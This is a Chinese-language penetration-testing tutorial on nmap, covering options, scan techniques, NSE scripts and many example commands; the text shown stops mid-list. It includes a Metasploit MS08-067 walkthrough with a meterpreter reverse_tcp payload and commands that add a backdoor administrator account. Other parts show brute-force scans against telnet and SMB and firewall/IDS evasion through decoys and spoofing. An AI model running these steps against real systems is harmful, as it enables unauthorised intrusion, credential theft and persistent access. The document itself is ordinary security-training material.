• 渗透测试 ( 5 ) --- 扫描之王 nmap、渗透测试工具实战技巧合集


    Nmap 官方文档 ( 中文文档是 Nmap 版本4.50,英文文档是最新的 ):

    Nmap 速查手册 ( 命令、示例 ) :https://highon.coffee/blog/nmap-cheat-sheet/

    铁匠运维网:https://www.tiejiang.org/wlaqgcs/infiltration

    注意:nmap 区分大小写。在 nmap 运行时直接按键盘的 d 键打 "断点",按下 X 键可以知道运行的进度。终极必杀:man nmap

    1、nmap 简介

    Nmap 是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。软件名字 Nmap 是 Network Mapper 的简称。Nmap 最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下,该工具逐渐成为最为流行安全必备工具之一,号称扫描之王。nmap 除了最主要的端口扫描,还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。

    一般情况下 Nmap 可以用来:

    • 扫描网络上有哪些主机,检测目标机是否在线、
    • 端口开放情况。( 端口号,协议,服务名称和状态 )
    • 侦测主机提供什么服务 ( 应用程序名和版本 ) 
    • 侦测主机的操作系统与设备类型等信息。
    • 侦测主机使用什么类型的报文过滤器 / 防火墙,以及一堆其它功能
    • 等等。

    script 是 nmap 最强大的功能之一。可以用来检测 SQL 注入,网页爬取,数据库密码检测,快速的探测服务等。在 nmap 安装目录下的 script 目录下,存在 ".nse" 后缀结尾的文本文件,这就是 nmap 的脚本,

    // 使用时尽量加上双引号 (  --script="脚本名" 或者 --script "脚本名"   ) ,防止脚本名出现空格的情况。

    nmap 192.168.0.3 --script="http-*" -v         加载 http-* 脚本, * 是 通配符
    nmap all 192.168.0.3 -v                             加载所有脚本,也可以 --script=*

    ​下载、安装

    在线帮助:https://svn.nmap.org/nmap/docs/nmap.usage.txt

    -Pn :禁用主机检测。如果主机屏蔽了 ping 请求,Nmap 认为该主机没有开机,从而不会进一步检测,比如端口扫描、服务版本识别和操作系统识别等探测工作。为了克服这一问题,就 需要禁用Nmap的主机检测功能。在指定这个选项之后,Nmap会认为目标主机已经开机并会 进行全套的检测工作

    1. nmap --help
    2. Nmap 7.92 (https://nmap.org)
    3. 用法:nmap [扫描类型] [选项] {要扫描的目标}
    4. 扫描的目标:
    5. 可以是 主机名、IP 地址、网络等。
    6. 例如:scanme.nmap.org、microsoft.com/24192.168.0.1; 10.0.0-255.1-254
    7. -iL <inputfilename>: 从文件中读取要扫描的主机列表
    8. -iR <num hosts>: 选择随机目标
    9. --exclude <host1[,host2][,host3],...>:要排除的 主机/网络
    10. --excludefile <exclude_file>: 从文件中选择要排除的主机列表
    11. 主机发现:
    12. -sL: 列表扫描 - 打印主机的列表(对域名进行扫描时,可以得到IP列表 )
    13. -sn: Ping 扫描,同时禁用端口扫描,用来检查主机存活状态。
    14. -Pn: 禁用 Ping 扫描,默认所有主机都是存活状态
    15. -PS/PA/PU/PY[portlist]:对指定的端口通过 TCP SYN/ACK、UDP 或 SCTP 扫描来发现主机
    16. -PE/PP/PM: 对指定的端口通过 ICMP、时间戳和网络掩码请求发现和探测主机
    17. -PO[协议列表]: IP 协议 Ping
    18. -n/-R: 不进行DNS解析/ 进行DNS解析 [默认]
    19. --dns-servers <serv1[,serv2],...>: 指定自定义 DNS 服务器
    20. --system-dns: 使用操作系统的 DNS 解析器
    21. --traceroute: 跟踪每个主机的跃点路径
    22. 扫描技术:
    23. -sS/sT/sA/sW/sM: TCP SYN / Connect() / ACK / Window / Maimon 扫描
    24. -sU: UDP 扫描
    25. -sN/sF/sX: TCP Null、FIN 和 Xmas 扫描
    26. --scanflags <flags>: 自定义 TCP 扫描标志
    27. -sI <僵尸主机[:probeport]>: 空闲扫描
    28. -sY/sZ: SCTP INIT/COOKIE-ECHO 扫描
    29. -sO: IP 协议扫描
    30. -b <FTP 中继主机>: FTP 反弹扫描
    31. 指定扫描端口、扫描顺序:
    32. -p <端口范围>:只扫描指定的端口
    33. 例如:-p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
    34. --exclude-ports <端口范围>: 从扫描中排除指定端口
    35. -F: 快速模式。 扫描比默认扫描更少的端口
    36. -r: 连续扫描端口。不要随机化,即按顺序扫描端口
    37. --top-ports <number>: 扫描<number>个最常用的端口
    38. --port-ratio <ratio>: 扫描比<ratio>更常见的端口
    39. 服务/版本检测:
    40. -sV: 探测开放端口以确定服务/版本信息
    41. --version-intensity <level>:设置从 0(轻)到 9(尝试所有探针)
    42. --version-light: 限制最可能的探测(强度 2)
    43. --version-all: 尝试每一个探测(强度 9)
    44. --version-trace: 显示详细的版本扫描活动(用于调试)
    45. 脚本扫描:
    46. -sC: 相当于--script=default
    47. --script=<Lua scripts>: 使用脚本进行扫描,多个脚本时用逗号分隔,支持通配符。
    48. --script-args=<n1=v1,[n2=v2,...]>: 为脚本提供参数
    49. --script-args-file=filename: 从文件中提供 NSE 脚本参数
    50. --script-trace: 显示所有发送和接收的数据
    51. --script-updatedb: 更新脚本数据库。
    52. --script-help=<Lua 脚本>: 显示有关脚本的帮助。
    53. 操作系统检测:
    54. -O: 启用操作系统检测
    55. --osscan-limit: 将操作系统检测限制为有希望的目标
    56. --osscan-guess: 更积极地猜测操作系统
    57. 时间和性能:
    58. 默认是秒,也可以 “ms”(毫秒),'s'(秒)、'm'(分钟)或 'h'(小时)到值(例如 30m)。
    59. -T<0-5>: 设置时序模板(越高扫描速度越快,但是准确性降低)
    60. --min-hostgroup/max-hostgroup <size>: 并行主机扫描组大小
    61. --min-parallelism/max-parallelism <numrobes>:探针并行化
    62. --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <时间>: 指定探测往返时间。
    63. --max-retries <tries>: 限制端口扫描探测重传的次数。
    64. --host-timeout <time>: 多长时间后放弃目标
    65. --scan-delay/--max-scan-delay <time>:调整探针之间的延迟
    66. --min-rate <number>: 每秒发送数据包不低于 <number>
    67. --max-rate <number>: 每秒发送数据包的速度不超过 <number>
    68. 防火墙/IDS 逃避和欺骗:
    69. -f; --mtu <val>: 分片数据包(可选地 w/给定的 MTU)
    70. -D <decoy1,decoy2[,ME],...>:使用诱饵隐藏扫描。即发送参杂着假ip的数据包检测
    71. -S <IP_Address>: 欺骗源地址。就是伪造源主机IP地址。
    72. -e <iface>: 指定从哪个网卡发送和接收数据包。
    73. -g/--source-port <portnum>: 使用给定的端口号。针对防火墙只允许的源端口
    74. --proxies <url1,[url2],...>: 通过 HTTP/SOCKS4 代理中继连接
    75. --data <hex string>: 将自定义有效负载附加到发送的数据包
    76. --data-string <string>: 将自定义 ASCII 字符串附加到发送的数据包中
    77. --data-length <num>: 将随机数据附加到发送的数据包中。
    78. 改变发生数据包的默认的长度,防止被识别出来。
    79. --ip-options <options>: 发送带有指定ip选项的数据包
    80. --ttl <val>: 设置 IP 生存时间字段
    81. --spoof-mac <mac地址/前缀/供应商名称>: 欺骗你的MAC地址
    82. --badsum: 发送带有虚假 TCP/UDP/SCTP 校验和的数据包
    83. 输出:
    84. -oN/-oX/-oS/-oG <file>: 扫描结果写入到文件。
    85. 正常,XML,s|<rIpt kIddi3,Grepable 格式,
    86. -oA <basename>: 一次输出三种主要格式
    87. -v: 增加详细程度(使用 -vv 或更多以获得更好的效果)
    88. -d: 增加调试级别(使用 -dd 或更多以获得更好的效果)
    89. --reason: 显示端口处于特定状态的原因
    90. --open: 仅显示打开(或可能打开)的端口
    91. --packet-trace: 显示所有发送和接收的数据包
    92. --iflist: 打印主机接口和路由(用于调试)
    93. --append-output: 附加到而不是破坏指定的输出文件
    94. --resume <文件名>: 恢复中止的扫描
    95. --noninteractive: 通过键盘禁用运行时交互
    96. --stylesheet <path/URL>:将 XML 输出转换为 HTML 的 XSL 样式表
    97. --webxml: 参考 Nmap.Org 的样式表以获得更便携的 XML
    98. --no-stylesheet: 防止 XSL 样式表与 XML 输出相关联
    99. 杂项:
    100. -6: 启用 IPv6 扫描
    101. -A: 也叫全面扫描。操作系统检测、版本检测、脚本扫描和跟踪路由。
    102. --datadir <dirname>: 指定自定义 Nmap 数据文件位置
    103. --send-eth/--send-ip:使用原始以太网帧或 IP 数据包发送
    104. --privileged: 假设用户拥有完全特权
    105. --unprivileged: 假设用户缺乏原始套接字权限
    106. -V:打印版本号
    107. -h:打印此帮助摘要页。
    108. 例子:
    109. nmap -vv -A scanme.nmap.org
    110. nmap -vv -sn 192.168.0.0/16 10.0.0.0/8
    111. nmap -vv -iR 10000 -Pn -p 80
    112. 有关更多选项和示例,请参见手册页 (https://nmap.org/book/man.html)

    延时策略 :-T(0-5)  默认为 3 

    • 0 即Paranoid模式。为了避开IDS的检测使扫描速度极慢,nmap串所有的扫描,每隔至少5分钟发送一个包 
    • 1 即Sneaky模式。也差不多,只是数据包的发送间隔是15秒 
    • 2 即Polite模式。不增加太大的网络负载,串行每个探测,并使每个探测间隔 0.4秒 
    • 3 即Normal模式。nmap的默认选项,在不使网络过载或者主机/端口丢失的情况下尽可能快速地扫描 
    • 4 即Aggressive模式。设置5分钟的超时限制,对每台主机的扫描时间不超过5分钟,并且对每次探测回应的等待时间不超过1.5秒。 
    • 5 即lnsane模式。只适合快速的网络或者不在意丢失默些信息,每台主机的超时 限制为75秒,对每次探测只等待0.3秒。 

    Nmap 端口分成六个状态:

    • open ( 开放的 ):目标机器上的应用程序正在该端口监听连接/报文。
    • closed ( 关闭的 ):表示端口没有应用程序在它上面监听,但是他们随时可能开放。
    • filtered ( 被过滤的 ):意味着有防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap 无法得知 它是 open 还是 closed 。
    • unfiltered ( 未被过滤的 ):当端口对 Nmap 的探测做出响应,但是 Nmap 无法确定它们是关闭还是开放时,这些端口就被认为是 unfiltered(未被过滤的)
    • open | filtered ( 开放或者被过滤的 ):无法确定该端口处于两个状态中的哪一个状态。
    • closed | filtered ( 关闭或者被过滤的 ):无法确定该端口处于两个状态中的哪一个状态。

    2、nmap 的功能

    要想入侵一台电脑,必须先找到一台目标主机,获取主机的 IP,然后查出开放的端口,才能进行入侵。 找出网络上的主机,测试哪些端口在监听,这些工作通常是由扫描来实现的。

    通过扫描网络,寻找存在漏洞的目标主机。一旦发现了有漏洞的目标,接下来就是对监听端口的扫描。扫描每个 IP 的每个端口很慢,通常也没必要。网管也许只对运行特定服务的主机感兴趣,从事安全的人士则可能对一个 端口 都感兴趣,只要它有IP地址,系统管理员也许仅仅使用 Ping 来定位内网上的主机,外部入侵测试人员则可能绞尽脑汁用各种方法试图突破防火墙的封锁。

    2.1 扫描技术

    扫描方式:

    • 全连接扫描:三次握手 防火墙能有效拦截,故很少使用 (产生大量日志,很少使用)
    • 半链接扫描:又叫 间接扫描。三次握手前两次,源SYN 目标SYN/ACK 端口开放,源SYN 目标RST/ACK 端口关闭 (不记日志,隐蔽性好)。
    • 秘密扫描:发送 FIN,返回 RST (端口关闭,回复RST包;端口开放,不回复)

    TCP 扫描 选项

    1. 类型 选项 目标类型
    2. -sT TCP扫描 全链接扫描。这种扫描方法准确速度快,但是容易被防火墙和IDS发现并记录,
    3. 所以这种方法,实际中并不多用
    4. -sS SYN扫描 半链接扫描
    5. -sF FIN扫描 秘密扫描 除SYN、ACK其它位置1
    6. -sX Xmas扫描 秘密扫描 FIN、URG、PUSH位置1
    7. -sN Null扫描 秘密扫描 标志位全为0,发送TCP分组
    8. -sP ping扫描 同时使用ICMP和TCP ACK 80,返回RST说明主机运行(外网)
    9. -sU UDP扫描 发送0字节UDP包,快速扫描Windows的UDP端口
    10. -sA ACK扫描 TCP ACK扫描,当防火墙开启时,查看防火墙有未过虑某端口
    11. -sW 滑动窗口扫描
    12. -b FTP反弹攻击(FTP Bounce attack) 外网用户通过FTP渗透内网

    FIN 扫描、Xmas 扫描、Null 扫描 对 Windows 无效

    • TCP 连接扫描(-sT):指定这个选项后,程序将和目标主机的每个端口都进行完整的三次 握手。如果成功建立连接,则判定该端口是开放端口。由于在检测每个端口时都需要进行三 次握手,所以这种扫描方式比较慢,而且扫描行为很可能被目标主机记录下来。如果启动 Nmap的用户的权限不足,那么默认情况下Nmap程序将以这种模式进行扫描。
    • SYN 扫描(-sS):该选项也称为半开连接或者SYN stealth。采用该选项后,Nmap将使用 含有SYN标志位的数据包进行端口探测。如果目标主机回复了SYN/ACK包,则说明该端口处 于开放状态:如果回复的是RST/ACK包,则说明这个端口处于关闭状态;如果没有任何响应 或者发送了ICMP unreachable信息,则可认为这个端口被屏蔽了。SYN模式的扫描速度非常 好。而且由于这种模式不会进行三次握手,所以是一种十分隐蔽的扫描方式。如果启动Nmap 的用户有高级别权限,那么在默认情况下Nmap程序将以这种模式进行扫描。
    • TCP NULL(-sN)、FIN(-sF)及 XMAS(-sX)扫描:NULL 扫描不设置任何控制位; FIN扫描仅设置FIN标志位:XMAS扫描设置FIN、PSH和URG的标识位。如果目标主机返回 了含有RST标识位的响应数据,则说明该端口处于关闭状态;如果目标主机没有任何回应, 则该端口处于打开|过滤状态。
    • TCP Maimon扫描(-sM):Uriel Maimon 首先发现了TCP Maimom扫描方式。这种模式的 探测数据包含有FIN/ACK标识。对于BSD衍生出来的各种操作系统来说,如果被测端口处于 开放状态,主机将会丢弃这种探测数据包;如果被测端口处于关闭状态,那么主机将会回复 RST。
    • TCP ACK 扫描(-sA):这种扫描模式可以检测目标系统是否采用了数据包状态监测技术 (stateful)防火墙,并能确定哪些端口被防火墙屏蔽。这种类型的数据包只有一个ACK标识 位。如果目标主机的回复中含有RST标识,则说明目标主机没有被过滤。
    • TCP 窗口扫描(-sW):这种扫描方式检测目标返回的RST数据包的TCP窗口字段。如果目 标端口处于开放状态,这个字段的值将是正值;否则它的值应当是0。
    • TCP Idle扫描(-sI):采用这种技术后,您将通过指定的僵尸主机发送扫描数据包。本机 并不与目标主机直接通信。如果对方网络里有 IDS,IDS 将认为发起扫描的主机是僵尸主机。

    UDP 扫描 选项

    UDP 只有一种扫描方式(-sU)。虽然 UDP 扫描结果没有 TCP 扫描结果的可靠度高,但不能因此而轻视UDP扫描。但是 UDP 扫描的最大问题是性能问题。由干 Linux 内核限制1秒内最多发送一次 ICMP Port Unreachable 信息。按照这个速度,对一台主机的 65536 个 UDP 端口进行完整扫描,总耗时必 定会超过18个小时。

    示例,指定扫描 53 端口和 161 端口:nmap -sU 192.168.182.132 -p 53,161   

    2.2 nmap script Engine (NSE)

    Nmap 的漏洞检测是通过 Nmap 的扩展脚本实现的。Nmap 本身内置有丰富的 NSE 脚本,可以非常方便的利用起来,当然也可以使用定制化的脚本完成个人的需求。NES 脚本是用 lua 编写的。

    在某些时候,大部分都是使用 Nmap 进行扫描,然后再通过 Metasploit 进行漏洞利用,但是这个过程比较繁琐,一个个漏洞去验证的话还需要打开 MSF 去设置参数,最后 run/exploit。

    脚本列表:NSEDoc Reference Portal: NSE Scripts — Nmap Scripting Engine documentation

    查看 nmap 本地 nes 脚本数量:ls /usr/share/nmap/scripts/ | wc -l

    nmap script engine 官网:https://nmap.org/book/man-nse.html

    -sC:                                  相当于--script=default
    --script=<Lua scripts>        使用脚本进行扫描,多个脚本时用逗号分隔,支持通配符
    --script-args=<n1=v1,[n2=v2,...]>:    为脚本提供参数
    --script-args-file=filename:          从文件中提供 NSE 脚本参数
    --script-trace:                           显示所有发送和接收的数据
    --script-updatedb:                    更新脚本数据库。
    --script-help=<Lua 脚本>:        显示有关脚本的帮助。

    nmap 脚本分类:

    • auth: 负责处理鉴权证书(绕开鉴权)的脚本
    • broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
    • brute: 提供暴力破解方式,针对常见的应用如http/snmp等
    • default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
    • discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
    • dos: 用于进行拒绝服务攻击
    • exploit: 利用已知的漏洞入侵系统
    • external: 利用第三方的数据库或资源,例如进行whois解析
    • fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 
    • intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
    • malware: 探测目标机是否感染了病毒、开启了后门等信息
    • safe: 此类与intrusive相反,属于安全性脚本
    • version: 负责增强服务与版本扫描(Version Detection)功能的脚本
    • vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

    nmap 信息搜集 相关脚本

    ​示例:

    nmap --script all 172.27.42.110        //使用所有脚本对 172.27.42.110 主机进行扫描

    // whois 通常读作 who is , 用来查询互联网中 域名的IP 和 所有者的信息
    nmap --script whois www.0day.co       

    //很多网站启用了who is 保护,可以查询who is 的历史记录,早期的可能没有保护。
    nmap --script whois --script-args whois.whodb=nofollow www.0day.co  

    nmap -sn --script whois -v -iL host.txt             //如果目标域名比较多,可以使用列表形式
    nmap --script http-email-harvest www.0day.co        //搜集email 信息

    // ip反查,将所有绑定该 IP 的域名显示出来,可以清楚的知道有几个站点在这台服务器上。
    nmap -sn --script hostmap-ip2hosts www.0day.co      

    nmap --script dns-brute www.xxxxx.com               //dns 信息搜集 ,默认 5线程
    nmap --script dns-brute dns-brute.threads=10 www.xxxxx.com             //dns 信息搜集,指定线程数是10
    nmap --script dns-brute --script-args dns-brute.domain=www.baidu.com   // 对 baidu.com 子域名的列举

    // nmap下提供了很多web漏洞的检测脚本, http-stored-xss.nse 可以发现网站的XSS(跨站脚本攻击)
    nmap -p80 --script http-stored-xss.nse www.xxx.com  

    //  http-sql-injection 可以发现SQL 注入漏洞。在TOP 漏洞排行里,XSS 与 SQL 一直居高不下。
    nmap -sV --script http-sql-injection www.xxx.com  

    使用实例:

    nmap --script=auth IP  // 负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
    http-php-version       // 获得PHP版本信息
    Http-enum              // 枚举Web站点目录
    smtp-strangeport       // 判断SMTP是否运行在默认端口
    dns-blacklist          // 发现IP地址黑名单

    nmap --script=vuln 192.168.137.*  // 扫描常见漏洞
    smb-check-vulns                   // 检测smb漏洞
    samba-vuln-cve-2012-1182          // 扫描Samba堆溢出漏洞

    扫描 wordpress 应用的脚本

    http-wordpress-plugins
    http-wordpress-enum
    http-wordpress-brute

    测试 WAF 是否存在

    nmap -p 80,443 --script=http-waf-detect 192.168.0.100
    nmap -p 80,443 --script=http-waf-fingerprint www.victom.com

    示例:telnet 爆破脚本

    查询是否有 telnet 脚本:ls /usr/share/nmap/scripts/ | grep telnet

    查看 telnet 脚本的详细信息:nmap --script-help=telnet-brute
    可以看到一个文档信息,该文档为telnet脚本的文档。

    使用例子:nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s <target>

    可以看到,因为23端口是关闭的,所以该指令并没有起作用。

    23 端口为 telnet 的端口。Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。

    打开 23  telnet 服务。开始->运行->services.msc 。找到 Telnet 服务 ( 默认是禁用的 )->双击->常规->启动类型->改成手动->启动。

    再次使用 telnet 脚本进行爆破:

    示例:vuln 漏洞脚本

    该脚本可以对目标主机或网段扫描是否存在常见的漏。

    nmap --script=vuln 192.168.182.132

    可以看见结果,扫描出了 ms08-067、ms17-010、ms10-061漏洞。

    利用 ms08-067 漏洞

    进入metasploit:msfconsole
    查找ms08-067漏洞:search ms08-067
    使用脚本: use exploit/windows/smb/ms08_067_netapi
    攻击载荷 windows/meterpreter/reverse_tcp
    查看攻击所需的配置选项:show options:
    设置靶机IP:set RHOSTS 192.168.182.132
    查看靶机系统类型:show targets
    设置靶机类型:set target 74    // 根据 show targets 的显示,进行选择
    攻击:exploit
    获取权限:shell
    创建用户: net user attacker 123 /add
    提权:net localgroup administrators attacker /add
    查看用户:net user attacker
    入侵:远程连接 mstsc

    3、nmap 扫描 示例

    nmap 扫描结果 导入到 msf

    当对一个目标进行渗透时,如果目标的测试量巨大或是需要和同伴共享数据,那么将渗透报告或是所有操作存储在数据库里来共享,会是一个不错的选择。

    MSF 支持 MySQL、PostgreSQL 和 SQLlite3 数据库,默认使用 PostgreSQL 数据库,而且 MSF 会根据扫描/攻击结果,将数据自动上传到数据库,通过简单指令即可查看数据。

    msf 中使用 db_nmap 扫描时,会自动保存结果到数据库:db_nmap -sS -A 192.168.88.142

    也可以 nmap 导出扫描结果,再导入到 msf,如下:

    使用 nmap 扫描并保存结果文件:nmap -sS -Pn -oX result2.xml 192.168.88.14

    msf 导入扫描的结果文件:db_import /home/output/result2.xml

    关于 msf 连接数据库:

    • 方法 1:共享别人扫描好的结果。db_connect postgres:postgres@127.0.0.1/msf
    • 方法 2:默认连接到本地 postgresql

    查看连接情况:db_status
    查看数据库内容( 进入qsql执行查看命令):\l
    查看文件:hosts -c address
    查看数据库扫描结果内容:services -u

    msf 中关于数据的命令:

    数据库 后端 命令
    analyze          分析指定的 地址、地址段
    db_connect       连接到已经存在的数据库服务
    db_disconnect    断开当前的数据库服务
    db_export        导出到文件
    db_import        导入扫描结果文件(文件类型将自动检测)
    db_nmap          执行nmap并自动记录输出
    db_rebuild_cache 重建数据库存储的模块缓存(已弃用)
    db_remove        删除保存的数据服务条目
    db_save          保存当前数据服务连接为默认值,以便在启动时重新连接
    db_status        显示当前 数据服务 状态
    hosts            列出数据库中的所有主机
    loot             列出数据库中的所有 战利品(肉鸡)
    notes            列出数据库中的所有注释
    services         列出数据库中的所有服务
    vulns            列出数据库中的所有漏洞
    workspace        在数据库工作区之间切换

    清除 库 里面保存的结果:

    先执行删除,在执行 重新初始化

    msfdb delete

    msfdb reinit

    再次进入 msfconsole,执行 hosts 、services,可以看到 数据已经清空

    示    例

    map -A -T4 192.168.0.3 -v

    • -A  用来进行操作系统及其版本的探测。
    • -T4 可以加快执行速度。
    • -v  实时显示扫描信息。

    nmap -vv 192.168.96.5      // 显示扫描细节。或者 -v 
    nmap 192.168.96.1/24       // 对整个网段的主机进行扫描
    nmap -p 端口 IP(域名)      // 扫描指定端口是否开放
    nmap 192.168.182.1-253     // 扫描指定的 ip 列表
    nmap -sV -p 88,80,135 192.168.182.132  // 指定端口和指定IP扫描,同时探测操作系统

    // 随机选择100000台主机扫描是否运行Web服务器(80端口),
    // 同时禁用ping扫描,因为只扫描80端口浪费时间
    nmap -v -iR 100000 -P0 -p 80

    nmap -sn 192.168.182.1-255             // 使用 ping 扫描,查看在线的主机
    nmap -sV 192.168.182.132   // 扫描端口上的 服务、程序版本
    nmap -O 192.168.182.132    // 识别目标主机的操作系统
    nmap -Pn 192.168.96.4      // 不进行ping 检测,直接认为所有主机都存活。
    nmap -A 192.168.96.4       // 全面扫描,耗时长

    nmap -sT 192.168.96.4                // TCP连接扫描,不安全,慢
    nmap -sS -O scanme.nmap.org/24       // SYN扫描,使用最频繁,安全,快
    nmap -sU 192.168.96.4                // UDP扫描,慢,可得到有价值的服务器程序
    nmap -sI 僵尸ip 目标ip               // 使用僵尸机对目标机发送数据包
    nmap -sA 192.168.96.4                // 扫描端口状态(关闭、打开、过滤 等)


    nmap 192.168.96.4 -oX myscan.xml     // 对扫描结果另存在myscan.xml
    nmap -T1~6 192.168.96.4              // 设置扫描速度,一般T4足够。
    nmap -sC <scirptfile> 192.168.96.4   // 使用脚本进行扫描,耗时长

    nmap -6 ipv6地址                     // 对ipv6地址的主机进行扫描
    nmap -f 192.168.96.4                 // 使用小数据包发送,避免被识别出
    nmap -mtu <size> 192.168.96.4        // 发送的包大小,最大传输单元必须是8的整数
    nmap -D <假ip> 192.168.96.4          // 发送参杂着假ip的数据包检测
    nmap --source-port <portnumber>      // 针对防火墙只允许的源端口
    nmap -data-length: <length> 192.168.96.4  // 改变发送数据包的长度,防止被识别出来。


    nmap -n/-r 192.168.96.4           // -n 不进行dns解析,-r 进行dns解析
    nmap --system-dns 192.168.96.4    // 扫描指定系统的dns服务器
    nmap -traceroute 192.168.96.4     // 追踪每个路由节点。
    nmap -PE/PP/PM:                   // 使用ICMP, timestamp, and netmask 请求包发现主机。
    nmap -sP 192.168.96.4             // 主机存活性扫描,arp直连方式。
    nmap -iR [number]                 // 对随机生成number个地址进行扫描


    // 扫描4096个IP地址,查找Web服务器(不ping),将结果以Grep和XML格式保存。   
    nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.g

    // 进行DNS区域传输,以发现company.com中的主机,然后将IP地址提供给 Nmap。
    // 命令用于GNU/Linux -- 其它系统进行区域传输时有不同的命令
    nmap 216.163.128.20/20 host -l company.com | cut -d -f 4 | nmap -v -iL -


    nmap -sS -T4 -p1-65535 -sV 192.168.1.169
    nmap -sS -T4 -A 192.168.1.169
    nmap -sS -T4 -A -O 192.168.1.169
    nmap -iL ips.txt      文件中读取需要扫描的IP列表

    将扫描的结果输出到屏幕,同时存储一份到output.txt。
    nmap -sS -p1-65525 192.168.1.169 -oG output.txt  

    扫描结果输出为 html
    nmap -sS -p1-65525 192.168.1.169 --webxml -oX - | xsltproc --output  file.html

    在子网中发现开放 netbios 的IP    
    nmap -sV -v -p139,445 192.168.1.0/24

    扫描指定 netbios 的名称    
    nmap -sU --script nbstat.nse -p 137 target

    扫描指定的目标,同时检测相关漏洞    
    nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 169

    10 个常用 nmap 命令

    1) 获取远程主机的系统类型及开放端口 
        nmap -sS -Pn -sV -O <target> 
        nmap -sS -Pn -A -v < target > 

    2) 列出开放了指定端口的主机列表 
        nmap -sT -p 80 -oG – 192.168.1.* | grep open 

    3) 在网络寻找所有在线主机 
        nmap -sn 192.168.0.*    或者  nmap -sn 192.168.0.0/24 

    4) Ping 指定范围内的 IP 地址 
        nmap -sn 192.168.1.100-254     

    5) 在某段子网上查找未占用的 IP 
        nmap -T4 -sn 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp 

        
    7) 扫描网络上的恶意接入点 rogue APs. 
        nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt- 
        timeout 2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 
        20m –max-scan-delay 1000 -oA wapscan 10.0.0.0/8 

    8) 使用诱饵扫描方法来扫描主机端口    
        sudo nmap -sS 192.168.0.10 -D 192.168.0.2 
        扫描目标设备/计算机(192.168.0.10)上打开的端口,同时设置一个诱骗地址(192.168.0.2)。
        这将显示诱饵ip地址而不是您的IP在目标安全日志。
        假地址 必须是活着的,以确保它能起作用。
        检查目标安全日志在/var/log/secure

    9) 列出一个子网的反向 DNS 记录 
        nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '(' 

    10) 显示网络上共有多少台 Linux 及 Win 设备?     
        sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo 
        "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat 
        /tmp/os | grep Windows | wc -l) Window(s) devices"

    示例:nmap script 的使用

    nmap 脚本使用    
        auth: 负责处理鉴权证书(绕开鉴权)的脚本  
        broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务  
        brute: 提供暴力破解方式,针对常见的应用如http/snmp等  
        default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力  
        discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等  
        dos: 用于进行拒绝服务攻击  
        exploit: 利用已知的漏洞入侵系统  
        external: 利用第三方的数据库或资源,例如进行whois解析  
        fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 
        intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽  
        malware: 探测目标机是否感染了病毒、开启了后门等信息  
        safe: 此类与intrusive相反,属于安全性脚本  
        version: 负责增强服务与版本扫描(Version Detection)功能的脚本  
        vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
        
    负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令    
        nmap --script=auth 192.168.1.*

    提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解    
        nmap --script=brute 192.168.1.169

    默认的脚本扫描,搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击   
        nmap --script=default 192.168.1.169 或者 nmap -sC 192.168.1.169
    检查是否存在常见漏洞    
        nmap --script=vuln 192.168.1.169
    在局域网内探查更多服务开启状况    
        nmap -n -p445 --script=broadcast 192.168.1.169
    利用第三方的数据库或资源,例如进行whois解析    
        nmap --script external 192.168.1.169
    vnc扫描    
        nmap --script=realvnc-auth-bypass 192.168.1.169
    获取vnc信息    
        nmap --script=vnc-info 192.168.1.169
    smb扫描    
        说明:SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445。
        nmap --script=smb-brute.nse 192.168.1.169
    smb字典破解    
        nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.1.169
    smb已知几个严重漏扫描    
        nmap  --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.1.169
    smb查看共享目录    
        nmap -p 445  --script smb-ls --script-args 'share=c$,path=\test,smbuser=administrator,smbpass=fuckyou' 192.168.1.169
    smb查询主机一些敏感信息    
        nmap -p 445 -n –script=smb-psexec --script-args 'smbuser=administrator,smbpass=fuckyou' 192.168.1.169
    smb查看会话    
        nmap -p 445 -n --script=smb-enum-sessions  --script-args 'smbuser=administrator,smbpass=fuckyou' 192.168.1.169
    smb系统信息    
